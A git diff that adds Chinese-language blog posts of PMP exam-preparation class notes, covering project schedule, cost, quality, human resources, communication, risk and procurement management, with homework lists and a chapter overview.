相当于WBS及WBS词典. +2. 滚动式规划 ---- 对近期要做的事情，做详细规划，对远期的暂不考虑。 +3. 活动清单 ---- 所有的活动 +4. 活动清单属性 ---- 对活动清单的解释，就相当于WBS和WBSS词典的关系。 +5. 强制里程碑 ---- 是发起人关注的，不能错过的，比如PMP考试 +6. 可选里程碑 ---- 是可以错过的，是项目经理关注的，比如PMP上课，目的是为了降低风险。 + +# 活动排序 ---- 依赖关系 +1. 项目范围说明书 ---- 活动的制约因素，比如报名在钱，缴费在后。 + +# 4种依赖关系 +1. 强制依赖： 比如先开花，后结果。 +2. 选择性依赖：吃饭、爬山、唱歌，都是可以随便选择的。 +3. 外部依赖关系：是项目团队外部的，比如铺瓷砖，与瓷砖厂送来瓷砖。 +4. 内部依赖：项目团队内部，比如铺瓷砖与找平。 + +# 紧前关系绘图法（PDM） +1. 绘画原则：从左向右，无回路。 +2. 如果最后有多个节点，一定要自己画一个结束的节点。 + +# 图形评审技术GERT ---- 允许回路 + +# 日历 +1. 自然日历： 365/366天 +2. 项目日历：365 - 52*2 - 11 +3. 资源日历：国家规定的5到20天的年假、病假、婚假等，表示资源本身是否可被利用。 + +# 自下而上 ---- 指的是进一步分解至能估算，然后再向上汇总合并。 + +# *BS +1. WBS +2. RBS(Resource) ---- 资源分解结构按资源类别、类型分解 +3. OBS +4. RBS(Risk) + +# 资源 +数据、人、关系都是资源的一种。 +1. 普通资源 ---- 大米 +2. 战略性资源 ---- 企业需要提前布局的 + +# 活动持续时间估算 ---- 一般是一个区间，区间越小越好，代表风险越小 + +# 储备分析 +1. 已知（我知不知道）已知（我知不知道什么时候发生）-----问题 +2. 已知（我知不知道）未知（我知不知道什么时候发生）-----狭义风险，比如伞，应急储备 +3. 已知（我知不知道）已知（我知不知道什么时候发生）-----不存在的情况 +4. 已知（我知不知道）已知（我知不知道什么时候发生）-----广义的风险，靠管理储备 + +# 关键路径 CPM +这个是不考虑资源限制的，关键路径为长度最长的，关键路径一定存在，关键路径不一定唯一，关键路径越少越好。 +一图（PDM）、二正(任何一个的最早开始，所有最后的最大值)、三逆、四算。 + +# 关键链法 ---- 雁过拔毛 +**项目经理主要关注的是缓冲是否够用** + +# 制定进度计划 +1. 资源平衡 ---- 比如项目A,B，C都需要在第二周用到设计师，因为设计师不可能工作120小时，就改变项目A/B/C用设计师的时间，就划分到3个星期里面去，这样会改变项目关键路径。 +2. 资源平滑 ---- 上班堵车，变道。 + +# 制定进度计划 +1. 赶工：会增加资源 +2. 跟进：不会增加资源。在做题的时候，只要看到1.并行，2.不得增加资源，就是选择快速跟进。不选择快速跟进的，就选择赶工。 +3. 向关键路径要时间，向非关键路径要资源。 + + +# 进度控制 +## 绩效审查 +1. 趋势分析：整个项目绩效曲线应该是越来越趋于稳定的。 +2. 次关键路径：皇后和宫女的例子。 + +**首先快速跟进（不消耗资源的），然后就加资源来赶工，如果加资源赶工也不行，那么就减少活动要求** + + + + +# 课后作业 +1. 考虑一下，一到两年内，你会做的项目，最好与生活相关，做一个WBS? +2. 对照1到7章，看书至少2便。 +3. 对PMBok的8~13章，在下次上课前，预习好。 +4. 将1~7章的复习题做掉。 +5. 小组讨论：（P78）的2条题目，进行讨论沟通。 diff --git a/_posts/2017-05-06-246-pmp-03.md b/_posts/2017-05-06-246-pmp-03.md new file mode 100644 index 0000000..ade8fb5 --- /dev/null +++ b/_posts/2017-05-06-246-pmp-03.md @@ -0,0 +1,209 @@ +--- +layout: post +title: 现代卓越201706班20170506笔记 +pid: 246 +tags: [pmp] +--- + + +# 项目成本管理 + +## 成本类型 +1. 可变类型 ---- 准备多少本讲义，与参加培训的人数有关 +2. 固定成本 ---- 培训的场地租用 +3. 直接成本 ---- PMP考试费，绩效工资 +4. 间接成本 ---- 买车来上课，底薪 +5. 机会成本 ---- 当有选择的时候，选择越小越好，资源是有限的，机会成本的成本是放弃机会中，成本最大的那个。 +6. 沉默成本 ---- 考试中不考虑沉默成本，比如炒股和换工作。 + +公司采购一个小服务器，用来允许单个项目，则是直接成本，如果为多个项目，则为间接成本。 + +## 制定成本计划 + +## 输出 + +**计量单位与精确等级之间的关系 ---- 比如：元、亿元小数点的例子** + +1. 成本管理计划 ---- 是程序性计划 + +## 估算成本 + +输入 +1. 人力资源管理计划 --- 比如：选择的理发师不一样，价格也不一样 +2. 项目进度计划 ---- 不同的时间，做事的时间点不一样，比如龙抬头理发。 +3. 风险登记册 ---- 比如考试，如果一个人有风险储备金1万元，则考试不一定过，但是如果没有，就只能努力学习，争取一次过。 + + +质量成本 ---- 包括前期和后期，前期成本小，防御型；后期，成本大，属于缺陷修复。 +比如喝矿泉水喝到虫子的例子，前期发现质量问题，只要2毛钱成本可以解决问题，后期几百块。 + + +卖方投标分析 ---- 比如装修公司估算报价。 + +## 成本基线 +在什么时间点，能花多少钱。 +1. 估算：你想花多少钱。 +2. 预算：你能花多少钱。 + +## 成本预算 + +输入 +1. 协议： 例子：总包价、粮食价格、飞机票。 + +工具和技术 +1. 成本汇总 ---- 自下而上 +2. 储备分析 ---- 应急储备和管理储备 +3. 历史关系 ---- 类比估算和参数估算 +4. 资金限制平衡 ---- 在装修的第一个阶段已超支，需要在预算范围内，完成项目，则后面的阶段需要找平。 + +# 项目预算过程 + +项目中的哪个活动的重要程度，由干系人决定。 + + +# 成本控制的内容 +成本控制是对成本的变动进行管控。 + +项目成本基准（BAC）包括：工期预算、费用预算、工作量预算。三合一。 + +**BAC是不包含管理储备的，包含管理储备的是【项目总资金需求】** + +# 项目质量管理 ----- 质量管理会让流程给干系人带来信心 + +**质量是一组事务的内在特性，满足需求的程度和能力** +1. 规划质量管理 ---- 规划 +2. 实施质量保证 ---- 怎么做才能保证质量的过程 +3. 实施质量控制 ---- 只看结果，是否满足要求 + +## 质量概述 +镀金 ---- 做某些无意义，只为提高客户满意度，项目应拒绝 +范围蔓延 ----- ？？？ + +精确和准确 ---- 在准确的情形下谈精确 + +## 质量管理 +1. 质量与等级 +质量是必须的，等级不是必须的。 +手机能够打电话是能够满足需求的-----质量 +苹果手机和高配车的例子 ----- 等级 + +有一辆自行车可以在极端天气下使用，但是没有铃铛，是属于高质低档型。没有铃铛仅仅是功能少，但是能在极端天气下使用，就是质量高。 + +## 质量原则 +1. 预防胜于检查，早期变更成本低 +2. 持续改进和改善PDCA循环，PDCA是符合敏捷的思路，Plan, Do, Check, Action。 +3. 项目团队全员参加 ---- 促进严格按照计划做，比如张老师减肥的例子，其中每天测量是质量控制。 + +**质量是免费的 ---- 前面花钱，后面省钱，抵消了** + +## 规划质量管理 +质量目标是干系人对项目的要求 + +输出 +1. 质量管理计划 ---- 是一个实体性的计划，包含2个部分，一个是质量目标，一个是如何做。 +2. 过程改进计划 ---- 是一个程序性计划 +3. 质量度量指标 ---- 包括2个部分，一个是可靠性----不引起失效的概率；一个是可用性 +4. 质量核对表 ---- Check List + +## 规划质量 ------ 工具和技术 +1. 成本效益分析 ---- 三高两低：提高生产力，提高满意度，提高盈利，降低成本，减少返工 +2. 预防成本是让错误不要进入流程，评价成本 ---- 检查 +3. 破坏性测试 ---- 原子弹和汽车撞击的例子 +4. 统计抽样是针对破坏性测试的，不需要进行100%测试；统计抽样一般包括2种：一是属性抽样，判断是否合格，比如空军体检的例子，变量抽样，是针对同一个属性进行连续测量。 +5. 内部失败成本 ---- ATM机器多吐钱的例子，指国外就不要储户返回钱，这个钱是项目的内部失败成本。 +6. + +## 控制图 +1. 控制线和规格线 +**控制线不是越小越好，而是适量最好，因为成本的原因** + +2. 不失控不需要采取措施；失控则需要找原因，使用因果图。 + +**控制图 ---（失控）--> 因果图 ---（找关系）--> 散点图 ---（找优先级）-->帕累托图** + +题目一： 有一个点在控制线上，结论是不是失控，因为说的不是在控制线上方 +题目二：有一个点在规格线外，结论失控，因为已经在规格线外 +题目三：有七个点在均值同侧，结论是不失控，因为没有说是不连续的 + + +## 散点图 +1. 女士穿裙的长短与该地的经济水平的关系 +2. 空调与温度的关系 + +## 规划质量 ---- 工具和技术 +1. 实验设计 ---- 允许改变多个因素的，是动态变化的，比如赛车模拟 +2. 力场分析 ---- 做一件事情，都有推动力和阻碍力，而且推动力和阻碍力并不是一层不变的，比如：考PMP家人的支持。 + +## 执行质量保证 +是对结果的审查，确保质量是没有问题的。 + +##质量保证 ---- 工具和技术 + +质量审计 ---- 项目经理可随机或定期进行由项目团队外的人执行，针对的是过程，例子：中央巡视小组。 +过程分析 ---- 增值活动和非增值活动，增值活动：吃饭， 非增值活动：为了吃饭，而排的队。 +**消除非增值活动，可提高效率，非增值活动，应尽量减少** + +## 质量控制 +1. 属性抽样 ---- 比如PMP考试自己过没过 +2. 变量抽样 ---- 比如苏州班的通过率，持续规模测量。 + + +# 人力资源管理计划 +项目人力资源管理与公司人力资源管理，虽然都要招人，进行培训等，但是他们是不一样的，项目人力资源管理的目标是项目成功，公司人资源管理的目标是人才的储备。 + +能力不行，可通过培训，考试的时候，看到能力不行，就选择培训，培训到胜任为止。 + +## 建设项目团队 ---- 工具 + +1. 基本规则 ---- 是只能对内，不能对外；管理干系人期望是对外。 +2. 集中办公 ---- 是针对虚拟团队的。 +3. 认可和表彰 ---- 需要考虑文化因素，比如美国看中个人奖励，东南亚看中团队奖励。 + + +## 团队建设理论 ---- 每次必考 +1. 五个阶段是什么？ +2. 五个阶段的特点？ +3. 给描述，指定是哪个阶段的？ + +**只要有人员变动就是组建阶段** + +## 团队绩效 + +针对的是项目不是个人 + +## 冲突管理 +1. 撤退/回避 ---- 是最不好的，永远不是解决冲突的最好方法。 +2. 缓和/包容 ---- 带男朋友回家，老妈，以死相逼。 +3. 妥协/调解 ---- 互有进退，也就是谈判，是谁都没有赢的结果，带男朋友回家，老妈说分手，给车。 +4. 强迫/命令 ---- 带男朋友回家，直接被老妈送出国 +5. 合作/解决问题 ---- ?? + +题目一：在会议上，项目有分歧，项目经理决定，少数服从多数 ---- 属于强迫命令 +题目二：在会议上，项目有分歧，团队成员经过多次讨论，达成少数服从多数 ---- 属于合作解决问题 + +**领导更多针对人，管理更多针对事** + +## 权利来源 +1. 专家权利 ---- 对明天下雨的判断 +2. 奖励权利 ---- 一种是物质奖励，只能对下，一种精神奖励，可对上，也可对下，对上，比如拍马屁 +3. 正式权利 ---- 是项目章程授予的权利 +4. 参照权 ---- 领导的司机 + +## 人际关系技能 +1. 利益 ---- 利益问题不好解决，比如争夺钓鱼岛 +2. 立场 ---- 立场问题好解决，比如买衣服的时候说，衣服很贵 + +## Maslow的需求层次理论 +1. 团队成员无心工作 ---- 属于安全需求 +2. 为单身员工举办联谊 ---- 社交需求 +3. 员工申请当讲师 ---- 属于尊重需求 + +## 麦格格雷X、Y理论 +1. 凡是认为人是坏人，就是X理论 +2. 凡是认为人是好人，就是Y理论 + +题目中出现，项目经理不信任我们，体现的就是X理论。 + +## 赫兹伯格双因素理论 +1. 保健因素 ---- 起不到长期激励，例子：辞职的时候，给你涨薪；公司提供酸奶的例子。 +2. 激励因素 ---- 可以起长期激励，例子：辞职的时候，给你挑战的例子。 diff --git a/_posts/2017-05-07-247-pmp-04.md b/_posts/2017-05-07-247-pmp-04.md new file mode 100644 index 0000000..7b4ed06 --- /dev/null +++ b/_posts/2017-05-07-247-pmp-04.md @@ -0,0 +1,294 @@ +--- +layout: post +title: 现代卓越201706班20170507笔记 +pid: 247 +tags: [pmp] +--- + +# 沟通管理 ---- 沟通不一定通过语言 + +沟通是计划和管控的重要手段，沟通的形式有听说读写，听分为同情心和同理心，要站在对方的立场上进行沟通；信息是以正确形式传递给正确的受众，达到正确的结果；说包含开放式和封闭式。 + +沟通一般分成三种形式： +1. 即时通讯 ---- qq群，一对多。 +2. 单线沟通 ---- 地下工作人员，是一对一的。 +3. 偶发沟通 ---- 比如在地铁或者餐馆，老板听到你在谈论他。 + +高效的团队，对外，只能有一个声音，对内可以有多个。 + +# 沟通渠道 + +1. 非正式 ---- 比如发改委放口风 +2. 正式与非正式，取决于项目经理是否觉得问题严重，题目：项目经理希望向项目发起人申请额外的资源，这种沟通是正式的，书面的，垂直的沟通。 + +# 沟通方式选择 +1. 正式口头沟通 ---- 举例是合同谈判，新闻发布会，这些是有法律效应的。 +2. 非正式口头沟通 ---- 表扬最好是非正式口头沟通。 + +# 规则沟通法则 +1. 三分钟法则。 + +# 规划沟通管理 +输出 +1. 沟通管理计划 ---- 是一个实体型计划 + +# 规划沟通工具 +1. 干系人构成 ---- 发起人、各种M、项目团队（项目管理团队，项目团队成员） +2. 沟通需求分析 ---- 需要什么信息，以及以什么形式。 +3. 沟通渠道：每次考试必考，考的形式一共有三种：1. 概念 2. 由沟通条数得出N 3. 干系人变化，引起N的变化 +4. 为什么要进行沟通分析 ---- 是因为资源是有限的。 +5. 沟通技术的选用取决于：1. 对信息需求的紧迫度， 2. 技术可得性 + +# 沟通模型 +1. 反馈信息 ---- 与印度项目沟通的例子 + +# 沟通方式 +1. 推式沟通 ---- 过年群发短信 +2. 拉式沟通 ---- 石老师微信每日4到题目，需要使用者自己去提取的。 +3. 交互式沟通 ---- 比如培训上课 + +# 管理沟通 +1. 题目中只要有人对沟通不满意，答案就选沟通管理计划。 +2. + + +# 沟通管理 ----- 工具 +1. 信息管理系统 ---- 把信息传递给对方，然后做一个存档，例子：圣旨是有两份的。 +2. 报告绩效 ---- 是以干系人容易理解的形式，把项目状态汇报到需要的人，比如直方图，同时单位的选择也很重要。 + +# 控制沟通 +1. 会议 ---- 主要考启动大会和开工大会 + +# 项目沟通管理补充 +1. 规则会议 ---- 集思广益，用来明确项目思路 +2. 状态审查会议 ---- 用来看项目做的怎么样 +3. 决策会议 ---- 用来批准或否决并更，如果发生扯皮，就要去查看工作授权，必要的情况下做修改。 +4. 里程碑聚会 ---- 到每个里程碑都需要验收 +5. 项目庆功会 ---- 到项目的最后 + +# 项目风险管理 +人力投入曲线，也就是风险值曲线。 +风险三要素：风险事件、风险概率、风险影响 + +## 风险管理概述 +不确定性 ---- 包括：不知道是否会发生，就是风险发生的概率 ；不知道是否对自己是好的，风险发生的影响。 + +## 风险的态度 +不同的人对风险的态度是不一样的。 + + +## 风险术语与风险应对措施 +1. 已知的已知风险是问题；已知的未知风险是狭义风险；未知的已知风险不存在；未知的未知风险比如被外星人抓走（本书不讨论）。 +2. 弹回计划 ---- 备胎，风险发生时，措施已经实施，但是无效 +3. 次生风险 ---- 也就是二次风险，比如手术刀遗留体内。 +4. 应急应对策略 ---- 比如下雨打伞 +5. 应急储备 ---- 比如带伞 +6. 残余风险 ---- 车祸车漆被挂掉的例子，风险本来就存在，但是没有解决。 +7. 威胁应对策略 + a. 回避 ---- 有【充足的】资源，就是回避；让风险不发生，比如查看黄历 + b. 转移 ---- 给车买保险，风险转移常伴随着成本的变动，风险转移，只能转移民事责任，不能转移刑事责任。 + 回避和转移，都是针对风险事件的。 + c. 减轻 ---- 降低风险的概率和影响，比如买高档车或者是备份。 + d. 接受 ---- 分为主动接受和被动接受，主动接受是预留一定的储备，虽然【不是充足】的；被动接受，比如火星撞地球 +8. 机会的应对策略 + a. 接受 ---- 对积极风险的接收是被动接受，买彩票中奖。 + b. 提高 ---- 提高风险发生的概率，与【减轻】是相对的。 + c. 分享 ---- 把好的风险给别人，与上面的【转移】是相对的。 + d. 开拓 ---- 原来不发生的使之100%发生，是与【回避】想对应的。 + + +## 规划风险管理 +输入 +1. 干系人登记册 ---- 不同的人对风险的态度是不一样的。 + +输出 +1. 风险管理计划 ---- 是程序型计划 +程序型计划，在输入中，一般都有项目管理计划，和项目章程。 + +## 规划风险管理 ---- 输出 +1. 角色与职责 ---- 前面谈到的角色与职责是针对当前项目所有的人，这里仅仅针对风险的。 + +## 识别风险 + +输入 +1. 范围基准 ---- 比如WBS、WBS词典 +2. 活动成本估算 ---- 区间越大风险越大，所以区间越小越好 +3. 活动持续时间估算 ---- 区间越大风险越大，所以区间越小越好 +4. 项目文件 ---- 防止需求文件漏项。 + +工具 +1. 文档审查 ---- 一般是指【项目文件】和【采购文件】。 +2. 核对表分析 ---- checklist +3. SWOT: S优势W劣势O机会T威胁 + +## 风险识别 ---- 工具和技术 + +1. 德尔菲技术 ---- 是匿名的 +2. 根本原因分析 ---- 采用的技术是5M1E，有缺陷发生，通过分析找到原因，例子：高安全性的潜艇发生失火的例子。 + +## 风险识别 --- 输出 +1. 风险登记册 ---- 始于次过程，往后的所有输入输出都有风险登记册。 + +## 定性风险分析 ---- 工具和技术 +由最熟悉风险的人做出的评估。 + +## 概率和影响矩阵 +风险值小，不需要采取措施 + + +## 实施定性风险分析 +1. 风险数据质量评估 ---- 根据专家过去的经验绩效的评估 + + +## 实施定性分析 --- 输出 +1. 按类别分类的风险 ---- 高优先级风险，比如缴费；低优先级风险，比如看书；需进一步分析的风险清单。 + +**只要出现1-4，就是定性分析，只要出现量化结果，项目变量就是定量风险分析。 + +## 定量风险分析 +1. 是大数据分析，从进程和成本的角度分析的，定性是吃不准的，进入定量风险分析；没有发生怎么定量，就是没有定性就没有定量。 + +## 定量风险分析 ---- 工具与技术 +1. 数据收集和表示技术，比如访谈所有干系人，和概率分布 +2. 敏感性分析， 一次只改变一个因素，其他保持基准值，例子：医学中过敏源用的比较多，还有就是王老师同学留电话的例子，还有就是怕痒的例子。 + +## 龙卷风图 +影响大的在上面，需优先处理 + +## 规划风险应对 +所有被识别的风险，其中定量的风险一定是经过定性分析的，但是定性的风险可以不经过定量分析。 + +## 风险应对 ---- 工具与技术 +对风险预判的一队序列 +1. 回避 ---- 取消项目和澄清需求 +2. 转移 ---- 只针对民事责任，看到转移，即伴随着合同和履约 +3. 减轻 ---- 降低风险 +4. 接受 ---- 如果题目中有预留一定的XXXX就选接受 + +积极风险 +1. 开拓 ---- 把组织中最有能力的资源分配到项目，只有开拓是节约成本的，其他都不能。 +2. 分享 ---- 房地产联合开发 +3. 提高 ---- 提高是增加资源的 +4. 接受 ---- 不考 + +## 规避风险应对 ---- 输出 +1. 一般情况下，题目中看到未计划、临时、未识别，那么就选权变。 +2. 弹回需要走变更流程 +3. 风险责任人是把人和风险对应起来，由此实施风险控制应对。 + + +## 控制风险 +一般包括三个部分：1.识别新风险 2. 监测老风险 3. 实施风险应对 + +输入 +1. 工作绩效报告 ---- 除了自己的绩效还需要监控乙方绩效 + +工具与技术 +1. 偏差和趋势分析 ---- 是针对的三大基准 +2. 技术绩效测量 ----- 是从质量的角度 +是用于识别新风险，在风险监控的过程中。 + +3. 储备分析 ---- 判断剩余风险和剩余储备是否够用 + +**管理储备是项目经理可用的，但需要发起人批准** + +# 项目采购管理 +采购的前提是能买到，采购现在有2种形式：一种是供应链管理，说明采购是有连续性的，分为上游管理和下游管理，上游管理尤为重要，第二种是JIT,是0库存，及时采购，战略性资源不能使用JIT采购，比如矿产。 + +## 采购管理概述 +1. 项目团队外部指的是1. 项目外部，公司内部--内包，公司外部----外包。 +2. 对采购的基本要求是，质量不能降低。 +3. 采购中的角色，不同合同类型，对甲乙双方风险不一样，采购一般分成2中，一种是传统采购，一种是现代采购，其中有电子商务，我们PMP里面所讲的采购，一般都是传统采购。采购的基本原则有一个5R原则，时间、地点、价格、质量、数量。 + +## 合同属性 +1. 行为能力 ---- 我们是可以和小孩签订合同的，这个是单边合同，对方只享受权利。 +2. 要约 ---- offer是有法律效力的，是邀请你来签合同 +3. 要约邀请 ---- 是我向你发出邀请，邀请你向我发出邀约，比如投标邀约，宣传画册，房地产广告，这个是没有法律效力的。 +4. 合同是一种正式的协议，一旦签订，就必须履行 ---- 比如超市小票，结婚证。都是合同，比如秘书暗算老板，让老板签了一份合同，这个在法律是是必须履行的。 + +## 规划采购 +1. 采购决策一般分成2种， 一是买，而是自制。 + +输入 +1. 需求文件 ---- 对任务的需求，比如选择外购 +2. 风险登记册 ---- 决定是转移还是分享 +3. 活动资源需求 ---- 比如足球请外援 +4. 项目进度计划 ---- 是指在一定时间内 +5. 活动成本估算 ---- 是指在一定预算内 +6. 干系人登记册 ---- 是因为干系人对采购有决定性因素 + +当甲方要采购，第一件事，就是准备SOW。 + +输出 +1. 采购管理计划 ---- 是一个实体型计划，比如合同、比如采购类型 +2. 采购工作说明书 ---- 就是SOW +3. 采购文件 ---- 比如招标文件 + +## 合同类型 +其中总价合同和成本补偿合同是必考的，同时成本补偿合同中的【成本加激励费用】从来不考。 + +1. 固定总价合同 ----- 比如装修中的全包价，是不能改变的，保护买方的。 +2. 总价加激励费用合同 ---- 是让乙方更有动力，比如中介费。 +3. 总价加经济价格调整合同 ----- 是一个长周期，允许价格波动，甲方承担价格变动带来的损失。 +4. 成本补偿合同 ---- 都是保护卖方的，比如胖子定衣服。 +5. 成本加奖励费用 ---- 它与总价加奖励费用合同的区别是没有天花板价格。 +6. 工料合同 ---- 比如停车费 + +## 实施采购 +输入 +1. 采购文件 ---- 招标公告 +2. 卖方建议书 ----- 乙方的标书 +3. + +工具和技术 +1. 投标人会议 ----- 由甲方召开，回答问题 +2. 建议书评价技术 ----- 是甲方对乙方投标文件的评分，过程中需要得到管理层批准。 +3. 独立估算 ---- 分别买和自己做需要多少钱。 +4. 采购谈判 ---- 一般情况下，项目经理不是主谈人，会交给专业的谈判专家 + +输出 +1. 选定卖方 ---- 需要得到甲方批准 +2. 协议 ---- 协议是马上可以开始工作的，合同需要走流程，比较慢。 +3. 变更请求 ---- 比如采购的钱，不够用，整体变更和合同变更，整体变更是属于内部的，合同变更是属于外部的。合同变更一共包括4个部分， 1. 书面申请，2 审批层次 3 跟踪变更 4. 替代争议解决程序。ADR + +仲裁是有官方认可的民间组织，一般情况下是好的。 + +## 控制采购 +甲方要管理供应商边界，可以定义出出问题后是谁的责任。比如换保姆的例子和，装修多个团队合作的例子。 + +输入 +1. 工作绩效报告 ---- 是乙方的绩效 + + +## 控制采购 ---- 工具与技术 +1. 采购绩效评审 ----- 是甲方对乙方的，发现乙方已低效可终止合同，所以合同签了，不一定要履行到最后。 +2. 支付系统 ---- 和完成工作相对应，就是完成多少工作，给多少钱 +3. 索赔管理 ---- 经济索赔，工期索赔 +4. 记录管理系统 ---- 合同的所有细节，都记录在这里 + +## 结束采购 +4.6 中包括行政收尾和合同收尾，其中行政收尾是内部收尾，合同收尾包括行政收尾和产品收尾，其中行政收尾是进行财务相关（属于甲乙双方外部），产品收尾，产品移交给客户。 + +合同提前终止，包括1. 双方协商一致，比如协商离婚的例子，2因一方违约，比如娱乐圈出轨的例子， 3 买方便利：不要装修方案，合同提前终止，需付已完成，并且已经验收或为此做的准备工作。 + +## 结束采购 ---- 工具和技术 +1. 采购审计 ---- 是针对过程的，是甲方对甲方自己的。 +2. 采购谈判 ---- 谈判是所有的首选 + + +# 项目干系人管理 + +考点3个： 1 权利矩阵 2. 干系人分析，4个方块图 3. 不满意 + +管理干系人是通过沟通来实现的。 + +## 项目干系人分析 +沟通包括三点：监督 + + +# 作业 +1. PMBOk对照讲义，看1~2遍 +2. 所有模拟题，复习手册题，微信上的题目做完 +3. 小组活动 +4. 整理每个过程的IPO图（知道工具的时候，知道是哪个过程，知道输出的时候，知道是哪些过程的输入） +5. 下次培训带不同颜色荧光笔，至少2支。 diff --git a/_posts/2017-05-21-248-pmp.md b/_posts/2017-05-21-248-pmp.md new file mode 100644 index 0000000..d1c68fa --- /dev/null +++ b/_posts/2017-05-21-248-pmp.md @@ -0,0 +1,59 @@ +--- +layout: post +title: PMP章节重点 +pid: 248 +tags: [pmp] +--- +首先说一个甲方和乙方的概念，甲方是需要产品或者服务的人，乙方是提供产品或服务的人。甲方和乙方是相对的。 + +**乙方的目的是确保这个事情成功，换句话说，就是乙方要确保项目的成功。** + +今天甲方跟乙方购买一台电脑，这个电脑就是（第五章）范围；甲方花的钱是（第六章）成本；乙方多长时间可以把电脑给甲方，就是（第七章）进度；甲方对电脑的详细要求就是（第八章）质量；乙方内部人员管理就是（第九章）人力资源管理；乙方内外部沟通就是（第十章）沟通管理；乙方给甲方提供电脑的这个过程中会发生一些意外，就是（第十一章）风险；乙方发现组装电脑的部件他们没有，就是（第十二章）采购管理；乙方还需要对一些影响甲方购买电脑的人进行管理，就是（第十三章）干系人管理。上面所有的都是人、物、异常等之间的关系。上面统一在一起的管理就是（第四章）项目整合管理。 + + +# Cp4 --- 整合管理知识体 + +整合管理知识体，体现的是整合最重要， +项目经理要眼观六路、耳听八方、统筹思考。 +因为项目经理在整合中做的工作，相当于一个微型的CEO，是把握全局、把握全面的。项目经理要定方向掌握乾坤，做决策的人。 + +# Cp5 --- 范围管理知识体（要得到什么） + +项目的范围管理非常不容易，不容易在对项目的需求难以达成一个共识，难以达成一致性的认识，对项目的需求难以达成一致性的认识，那么对项目的范围难以达成一致性的认识，在这种非常不容易的情况之下，我们可以用一些办法，来降低这个不容易的程度。 +办法一：广泛的请各种干系人参与（请参与），特别是提高客户或者的参与程度。 +办法二：范围管理不容易，范围变更的时候，一定要遵循一个的机制，不能随意改变。 +办法三：杜绝蔓延，不要随意的增加项目的范围，杜绝蔓延，防止镀金，就是要我们对于项目的范围管理要做到百分百原则。做且只做项目范围要求我们做的内容，不要多做，也不要少做。 + + +# Cp6 --- 时间管理知识体（多长时间可以得到） + +时间管理最缺灵活，因为时间管理是众多项目管理指标当中可以调节的灵活度最低，甚至它根本就不可调节，只能够延续，那么对于这么难管的，这么难以调节的指标，我们怎么做呢？规划的时候要讲究实事求是，不然的话，那就意味着失败，另外时间管理那么难以管理，是不是没有办法管理呢？有，时间管理要设街门，在一个项目的生命周期当中，在不同的关键的地方，关键的里程碑，关键的阶段末，设一些检查的点，这些检查点就叫做街门，每一个检查点，要做相应的检查，这样你就不会有节点效应，就不会有任务拖拉了以后也不知道，即时随时的去检查，所以这个街门的控制是一个很重要的办法，另外叫即时控制，还要理解及时控制不是每一分每一秒你都去控制，因为控制或者管理是有成本是有代价的，那么你要计算成本和效益是不是合算，但是在关键的地方，关键的里程碑，关键的阶段末要做控制，另外，既然时间那么缺乏灵活性，所以，他就需要一个不灵活的约束，比如说纪律来严格的要求，达到满足这个时间进度这样的目的。 + +# Cp7 --- 成本管理知识体（要付出什么） + +成本管理最需要规范，成本管理是财务管理的内容之一，尽管我们做的是项目的成本管理，也需要符合国家关于财务的法律、法规，不可以自己去编造一些东西，所以成本管理最需要的是规范，按法律、法规去办，按新会计准则去办，所以就需要我们清楚一些术语，成本的基本术语：直接成本、间接成本、固定成本、变动成本，这些成本的定义，都不许有创造性的劳动，另外，我们要懂得储备，用广义的储备去学习成本这一章，那么储备我们接触到的有：应急储备、管理储备，另外要明白一些准则，比如会计准则等等，这些准则都有一些既定的、规定的管理方法，我们必须按照准则来执行相关的成本管理的处理，比如折旧，都有准则来执行，不能随便发明折旧办法，精于计算，指的是增值计算。计算考察我们的不是数学能力、算术能力，而是对于增值这个概念的掌握能力。 + +# Cp8 --- 质量管理知识体（我要的东西的硬性要求） + +质量管理最难定义，就是什么叫质量，什么叫质量好，什么叫质量不好，因人而异，定义不太容易，只要满足要求，满足使用，适于使用，符合要求，就叫质量好，所以这个定义是灵活的定义，在学习项目质量管理的时候，要有重视预防，预防胜于检查的思想，要知道这一章学习项目质量我们要兼顾两方面：一个是这一章既要管理项目的质量，又要管理这个项目产生产品的质量，所以这两样我们都应该清楚。接下来我们还要看，我们要晓得一些流派，在学习质量管理这一章中，更要知道一些以主要的管理大师为代表的那些管理流派，另外还需要知道质量管理领域的发展，我们从4321,、1234去考虑都没有什么本质的关系，问题。也就是这个考虑没有顺序关系，知道这些发展的历程，才可以了解晓得在哪些发展阶段，产生了怎样的一些观点和理念，才知道在哪些阶段产生发明了哪些质量管理工具，可以帮助我们更好的交换吸收这一章的内容。 + +# Cp9 --- 人力资源管理知识体（项目内部人员管理） + +人力资源管理需要的是软性，更多的我用的是一种软技能，首先要会释放自己的影响力，通过施展硬技能和软技能，软技能是指的主要以人际技能为主的那样的一系列软技能，硬技能指的是规矩，或者叫规章制度，在一个项目当中如果没有规章制度，光采用软技能，也是不行的，软技能和硬技能要结合在一起才有作用，给团队定一些相关的制度，定义一些约束，定义一些基本规则，来完成任务，另外呢，人力资源管理最需要解风情，不解风情的人做管理是很困难的，另外要懂得一些心理学，因为心理学研究会告诉我们通过别人的行为、行动，或者通过别人非常微小地方，来发现这个人内心的动机，这叫见微知著，发现这个人最想要获得的需求，或者最真的动机是什么。 + +# Cp10 --- 沟通管理知识体（项目内外部的信息传递） + +沟通管理需要讲究技巧，也就是不同的人，进行相同内容的沟通，效果可能都不一样，沟通讲的是软技能，软技巧；和沟通的对方有信任关系，沟通起来会更有效果，沟通讲究的是和干系人之间的信任关系，一旦没有信任了，你跟别人说什么，他都不会相信。信任的缺失，会带来沟通的无效。沟通要想有效果，最基本的是要有信任。当有信任了，你沟通的内容就都不重要了。哪怕你的语言语气说的更激烈一点儿，更严重一点儿，他也不会伤害对方，因为大家彼此有这样的信任关系；另外在这一章里面，要构建沟通渠道，沟通渠道是怎么计算的，多一个干系人，沟通渠道会增加多少？这样的概念头脑要有。沟通是需要选择方法的，到底是用交互式沟通，还是推式沟通和拉式沟通呢，根据不同的环境和场景，哪个更适合，哪个更有利，面对面的沟通是最有效的一种沟通方法。 + +# Cp11 --- 风险管理知识体（无常或者意外） + 